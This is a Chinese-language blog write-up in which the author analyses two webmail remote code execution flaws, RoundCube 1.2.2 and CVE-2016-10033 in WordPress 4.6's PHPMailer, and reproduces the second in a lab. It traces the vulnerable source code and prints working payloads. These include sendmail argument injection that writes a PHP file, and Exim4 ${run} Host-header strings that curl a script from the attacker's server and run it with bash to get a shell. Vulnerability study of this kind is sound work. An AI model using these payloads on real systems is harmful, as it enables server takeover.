内容纲要

前言

这两天分析 CVE-2016-10033 . 感觉学到了不少东西 , 这里记录一下 .


RoundCube 1.2.2 Remote Code Execution

Google 上很多师傅在分析 CVE-2016-10033 时都提到了一个 RoundCube 1.2.2任意代码执行漏洞 . 我也很好奇 , 简单的看了下 .

首先 , 搭建这个漏洞的复现环境非常复杂 , 虽然在 SeeBug 这里提到了一种搭建 Docker 环境的方法 , 但实际搭建完毕后 RoundCube 的版本为 1.3.10 , 并不满足漏洞的复现环境要求 .

然后我尝试在本地搭建测试环境 , 虽然在 如何在Ubuntu 18.04 LTS上安装最新的Roundcube Webmail 这篇文章中比较详细的说明了大部分的操作流程 , 但仍需要修改部分配置文件 .

而且 , 如果你没有一台可以连接 " 互联网 " 的主机 , 那么在搭建环境时将无法下载 PHP Pear Package . 也就无法成功搭建环境 . 并且期间还会遇到很多报错 .

好吧 , 我并没有成功搭建漏洞的复现环境 . 但介于这个漏洞的思路比较简单 , 看源码就很容易理解 , 本章的重点也不在这 , 所以我就不再花时间在搭建环境上了 .


源码分析

先从 Github 上搞一份 RoundCube 1.2.2 的源码下来 , 地址 : https://github.com/roundcube/roundcubemail/releases/tag/1.2.2

  1. roundcubemail-1.2.2/program/steps/mail/sendmail.inc : 89

    这里先调用 rcube_utils::get_post_value() 函数从 POST 数据中取出 _from 参数的值 , 并且赋值给变量 $from ,

    再判断 $from 参数的值是否为数字 , 如果不是数字就交给 rcmail_email_input_format() 函数 . 我们跟踪一下这个函数 .

  2. roundcubemail-1.2.2/program/steps/mail/sendmail.inc : 850

    这里是 rcmail_email_input_format() 函数的定义 , 该函数用于解析并且过滤输入的 Email 地址 .

    这里先定义了一个检测 Email 格式的正则表达式( 类似于 " xxx@xxx " 这种格式 ) , 然后替换新行并删除以 " . " 结尾的行 , 使得地址输入有效 .

    foreach 循环中的正则表达式仅匹配正常的 email 格式( 类似 " xxx@xxx ") , 如果不符合这个格式( 比如 xxx@xxx -A -B ) , 则通过 continue 跳出循环 , 从而绕过了下面 check address format 的检测过程 .

    并且由于没有通过上面的 if-else 语句 , 因此 $result 数组是空的 , 该函数的返回值也就为空 .

  3. `roundcubemail-1.2.2/program/steps/mail/sendmail.inc : 104

    由于 rcmail_email_input_format() 函数的返回值为空 , 因此这里将不会执行 elseif 语句 , 不会改变之前输入的地址 .

  4. roundcubemail-1.2.2/program/steps/mail/sendmail.inc : 533

    之后进行了一系列操作 , 但是都没有对 $from 参数进行过滤 , 直到第 533 行 , $from 被带入到 deliver_message() 函数中 .

    来看下 deliver_message() 函数内容是怎样的 .

  5. roundcubemail-1.2.2/program/lib/Roundcube/rcube.php : 1578

    这里定义了 deliver_message() 函数 , 前面是一些参数定义与赋值

    然后判断是否存在 smtp_server 的相关配置 , 若存在则通过自定义的 SMTP 库通过 SMTP 服务器发送邮件 .

    若没有发现 $config['smtp_server'] 的相关配置( 或者该配置为空 ) , 则通过 PHP 自带的 mail() 函数发送邮件 .


漏洞成因

注意这里 , PHP 会判断当前系统是否开启 safe_mode 安全模式 , 若没有开启则会拼接 $frommail() 函数的第五个参数中 , 那么 mail() 函数的第五个参数是什么呢 ?

第五个参数是 $additional_parameters , 它的解释如下 .

     使用 additional_parameters 参数可以将附加参数传递给 sendmail , 当 sendmail 发送邮件时会加上这些参数 .

     比如这里使用了 -f 参数 , 而 -f 参数用于发送邮件时指定发信人的地址 . 

结合上述内容 , 如果我们构造 $from 为一个恶意的地址 , 比如 -fdemo@example.com -Axxx -Bxxx , 那么这个 $from 就可以绕过 rcmail_email_input_format() 函数的过滤检测 , 并且之后其值不会再被修改 , 直接被拼接到 mail() 函数的参数中 .

而 PHP mail() 函数又是调用系统 sendmail 程序来发送邮件的 , 这也造成了脏数据间接被拼接到 sendmail 程序中 . 并由 sendmail 解析执行 .


漏洞利用方式

了解漏洞成因 , 那么我们该如何利用它呢 ? 我们需要注意 sendmail 的两个参数

     -X : Sendmail 会将邮件调试信息发送到指定的文件中 . 

     -O : 开启队列目录( 这是 Sendmail 8.12 新增的功能 ) , 尚未发送的邮件会被存储在 sendmail 程序的队列目录中 , 该目录的位置由 QueueDirectory 选项来指定 . 若不指定该参数则可能会产生 Sendmail 写权限不够的问题 . 

通过上面连个选项 , 我们可以将发送的数据保存在一个指定的队列目录中 , 而且在 RoundCube 中有两个目录是默认可读可写的 , 分别为 logs/temp/

这是开始时提到的 docker 环境 , 有一个已经搭建好的 RoundCube Webmail 1.3.10

因此我们可以将要执行的代码保存在这两个目录中 , 然后通过浏览器访问 , 从而拿到 RCE . 大概的 Payload 如下 .

Payload : _from=demotest@example.com -OQueueDirectory=/tmp -X/opt/www/webmail/rce.php


漏洞利用环境

虽然没有实践 , 但根据源码也可以推测出漏洞利用成功所需要的条件 .

  • 攻击者需要一个已被授权的帐号

    因为整个漏洞利用是发生在发送邮件的过程中 , 因此攻击者至少要有一个可以登录且发送邮件的帐号 .

  • Roundcube 使用 PHP 的 mail() 来发送邮件

    根据源码分析得到的结论 , RoundCube 会先判断是否存在 smtp_server 的相关配置 , 若没有才使用 PHP mail() 函数发送邮件

  • PHP 未开启 safe_mode 安全模式

    根据源码分析得到的结论 , 只有在未开启 safe_mode 的情况下 , RoundCube 才会将 $from 拼接到 mail() 函数中 . 不过 PHP safe_mod 默认是关闭的 .

  • PHP mail() 函数调用 sendmail 程序来发送邮件

    默认情况下 , PHP 就是调用 sendmail 程序来发送邮件的 .

  • 攻击者需要知道目标服务器 RoundCube 的绝对路径

    在构造 Payload 时 , 需要攻击者知道目标主机 RoundCube 的 logs 目录或者 temp 目录的绝对路径 , 否则无法将恶意代码写入到目标服务器中 .

RoundCube 1.2.2 Remote Code Execution 就分析到这了 , 这个漏洞还是比较简单的 , 分析的思路也很清晰 .


CVE-2016-10033 - WordPress 4.6 - Remote Code Execution

本文的重点来了 , 来看下这个 RCE 到底是如何产生的 , 它与 RoundCube1.2.2 的 RCE 有什么联系 .

幸运的是 , vulhub 上有该漏洞的环境 , 我们不必花费时间来搭建环境 .


漏洞复现

  1. 访问 http://127.0.0.1:80 , 进入 wordpress 主页面 , 然后点击左下角的 Log In 链接 , 进入登录界面再后点击 Lost your password? 链接进入找回密码界面 .

    如果开始时是个注册界面 , 直接注册然后登录就可以了 , 需要记住登录用户名

  2. 根据给出的 POC , 拿 BurpSuite 抓取找回密码的请求 , 同时进入 docker bash 环境

    注意这里的 user_login 必须为真实存在的用户名( 也就是开始时注册的 , 我创建的用户名为 demo ) , 原因后面会提到

  3. 修改数据包 host 参数并发送

    Payload : target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}curl${substr{10}{1}{$tod_log}}-o${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}exp.sh${substr{10}{1}{$tod_log}}你的服务器地址${substr{13}{1}{$tod_log}}8000${substr{0}{1}{$spool_directory}}evil.sh}} null)

    如果 HTTP 响应为 302 重定向 , 那么说明攻击成功 . 此时利用 Docker 环境的 Shell , 可以发现 /tmp 目录下生成了一个 exp.sh 文件 .

  4. 更改 Payload , 发送修改后的数据包 , 同时在服务器端监听 2333 端口

    Payload : target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}exp.sh}} null)

    成功拿到目标 WebShell !


代码分析

这个 RCE 的成因是什么呢 ? 为了方便研究 , 我们直接从 docker 环境中将 WordPress 目录( /var/www/html ) 给拷贝出来 .

漏洞产生的地点位于 wp-login.php , 因此我们从该文件开始分析

  1. wp-login.php : 390

    直接看主函数 , 先通过一个三元表达式从 $_REQUEST 方法获取当前的操作 , 然后将该操作与预设的操作数组相匹配 , 若没有匹配就认为该操作是登录操作( 可以理解为路由 )

  2. wp-login.php : 499

    判断数据是否从 POST 方法传输来的 , 若是就调用 retrieve_password() 函数 . $http_post 变量定义如下

    跟踪 retrieve_password() 函数

  3. wp-login.php : 293

    从 POST 方法获取对应的参数值 , 并对这些值进行一些简单的判断 . 最后将获取到的用户信息传入到 wp_mail() 函数

    值得一提的是 , 在判断用户信息时 , 会判断该用户是否存在

    跟踪 get_user_by() 函数( wp-includes/pluggable.php : 98 ) , 发现其调用了 get_data_by() 函数

    继续跟踪 get_data_by() 函数( wp-includes/class-wp-user.php : 184 ) , 发现其调用了 SQL 语句查询用户

    因此 , 这里输入的 user_login( 也就是登录用户) 必须是已经存在的用户 !

  4. wp-includes/pluggable.php : 173

    wp_mail() 函数会先对输入数据压缩 , 然后应用对应的过滤器 , 最后再提取出来 , 比较复杂 , 不过前面的代码都不用看 , 直接来看这里 .

    这里从 $_SERVER['SERVER_NAME'] 获取了$sitename 变量 , 然后拼接出了 $from_email 变量 , 通过 apply_filters() 函数过滤后 , 放入 setFrom() 中执行 .

    apply_filters() 用于创建一个过滤器 , 定义于 wp-includes/plugin.php : 199 , 它是 WordPress 插件机制中非常重要的一个函数 , 可以让其它的主题和插件对某一个值进行修改过滤 .

    我们继续跟踪 setFrom() 函数

  5. wp-includes/class-phpmailer.php : 934

    setFrom() 函数主要是设置一些发送着和接收着的信息() , 返回 True 或者 False

    注意这里的 $this->Sender = $address , 这个 $address 的值为 $from_email , 也就是通过 $_SERVER['SERVER_NAME'] 拼接而成的

    另外 , 需要注意 validateAddress() 这个函数 , 该函数会对 $address 进行正则过滤 . 其定义位于 wp-includes/class-phpmailer.php . 里面有非常复杂正则匹配 , 关于这个正则可以参考以下两篇文章 , 篇幅有限 , 说不清楚 .

    PHPMailer < 5.2.18 远程代码执行(CVE-2016-10033)漏洞分析

    PHPMailer 代码执行漏洞(CVE-2016-10033)分析(含通用POC)

    根据这里的正则 , 最终可以构造出形如 aaa( -X/home/www/success.php )@example.com 这样的Payload .

  6. wp-includes/pluggable.php : 470

    回到 wp-includes/pluggable.php 中 , 经过一系列设置操作 , 最后将会发送邮件 .

    这里调用 Send() 函数 , 看看它是如何定义的 .

  7. wp-includes/class-phpmailer.php : 1119

    发现其调用了 postSend() 方法 , 跟踪该方法
    `

  8. wp-includes/class-phpmailer.php : 1236

    如果这里的选项为 mail , 则将会调用 mailSend() 函数 , 跟踪该函数 .

  9. wp-includes/class-phpmailer.php : 1344

    这里的 $this_>Sender 被赋值给 $params , 然后 $params 被拼接到 mailPassthru() .

  10. wp-includes/class-phpmailer.php : 666

    在没有开启 PHP safe_mode 模式下 , $params 参数被拼接到 mail() 函数的第五个参数 , 这个逻辑是不是似曾相识? 其实看上面注释也能猜到了~

    后面的内容就不用多说了吧 , PHP 中 mail() 函数会调用 sendmail 程序 , sendmail 程序会拼接 mail() 函数的第五个参数并执行 , 从而产生 RCE .

以上分析过程参考了 WordPress 4.6无需认证远程命令执行漏洞分析 这篇文章


Payload 构造

在构造 Payload 时会出现几个问题

  • WordPressPHPMailer库中都有防御机制( 其实就是 validateAddress() 函数 )来阻止攻击者注入空字符( 空格或TAB )到 sendmail 命令中 , 并且通过添加括号引入向 sendmail 中注入参数的方法也行不通了 . 所以我们无法执行像 " ls / " 这样的组合指令

  • 此外 , 由于这里利用的是 HTTP 请求的 host 字段 , 我们不能利用 " / " , 因为如果在 host 字段中出现 " / " , 服务器会拒绝我们的请求 . 所以我们无法执行像 " /bin/bash " 这样的指令 .

总之 , 我们不能像利用 RoundCube 1.2.2 RCE 那样直接构造恶意代码 , 必须想其它的方法 , 这时有师傅提到了利用 exim4 语法规则来绕过限制


EXIM4

那么什么是 EXIM 呢 ? 在 UbuntuDocumentation 是这样解释的 .

     Exim4 是一种消息传输代理( MTA ) , 用于在连接到 Internet 的 Unix 系统上使用 . 尽管 exim 的配置与 sendmail 的配置完全不同 , 但是可以安装 Exim 代替 sendmail .

到底是什么意思呢 ? 当我们在 Ubuntu/Debian 系发行版上查看 sendmail , 会发现它是一个指向 EXIM4 的软链接文件 .

因此 , 前辈们提出可以利用 EXIM4 语法参数来拼接执行参数 , 他们找到了 -be 参数

写的非常复杂 , WordPress <= 4.6 命令执行漏洞(PHPMailer)(CVE-2016-10033)复现分析 这篇文章是这么解释的 :

     -be 参数是一个字符串拓展测试命令,它可以读取一些变量值 . 比如 $tod_log , 该变量代表当前系统时间 .

至于其他的变量 , 可以参考 Chapter 64 - Variable Index .

并且 , EXIM4 提供了一些函数用来辅助执行一些命令 , 如字符串截取函数 ${substr} , 系统调用函数 ${run} . 所以我们可以通过截取某些变量的值来获得我们想要的特殊字符 .

  • 获取 " " (空格)

  • 获取 " : "

  • 获取 " / "

  • 执行 bin/uname -a 命令

    拼接后的代码也可以成功执行


Payload 利用

现在代码执行的问题解决了 , 可以利用 EXIM4 的语法规则构造出需要使用的敏感字符 . 再搭配之前得到 Payload 格式( aaa( -X/home/www/success.php )@example.com ) , 我们能拼接出完整的 Payload .

举个例子 , 我想要在 /tmp 目录下创建一个 evil.php 文件 , 可以构造如下的 Payload .

Payload : aaa(any -froot@localhost -be ${run{/bin/touch /tmp/evil.php}} null)

这里没有再利用 -X 参数将邮件数据写入到文件中 , 而是直接利用 EXIM4 语法创建一个文件

然后将 Payload 中特殊字符转换成对应的语法规则 . 如下所示

Payload : aaa(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}evil.php}} null)

恶意代码成功被执行 ! 现在你应该能理解漏洞复现时我写的 Payload 到底是什么了~


漏洞利用环境

最后来看下漏洞的利用环境吧

  • RoundCube 漏洞利用环境

    因为 CVE-2016-10033RoundCube 1.2.2 RCE 在漏洞利用本质上是相同的 , 准确的说都是 WebMail 的漏洞 . 因此大致的利用环境是相同的 . 当然也存在不同的地方 , 比如 RoundCube RCE 要求一个已被授权发信的登录用户 , 而 CVE-2016-10033 仅需要知道一个已存在的用户名就可以了 .

  • 执行的命令会被转换为小写

    wp_mail() 函数中对从 $_SERVER['SERVER_NAME'] 获取到的数据有一个strtolower() 的操作 .

  • 要执行的命令不能包含大量特殊字符

    肯定无法从 EXIM4 的语法规则中获得所有的特殊字符 , 但既然能反弹 Shell , 那么这个点就不是问题 .


总结

学习了一下 RoundCube 1.2.2 RCECVE-2016-10033 这两个漏洞的利用方式及原理 , 让我收获颇丰 , 这里十分感谢前辈师傅们的文章 .

当然其中还存在一些难点( 比如 CVE-2016-10033validateAddress() 函数中的正则表达式 ) , 这个点值得更深入的研究学习 .

如果您有什么更好的想法 , 欢迎留言~

最后修改日期:2020年3月9日

作者

留言

撰写回覆或留言

发布留言必须填写的电子邮件地址不会公开。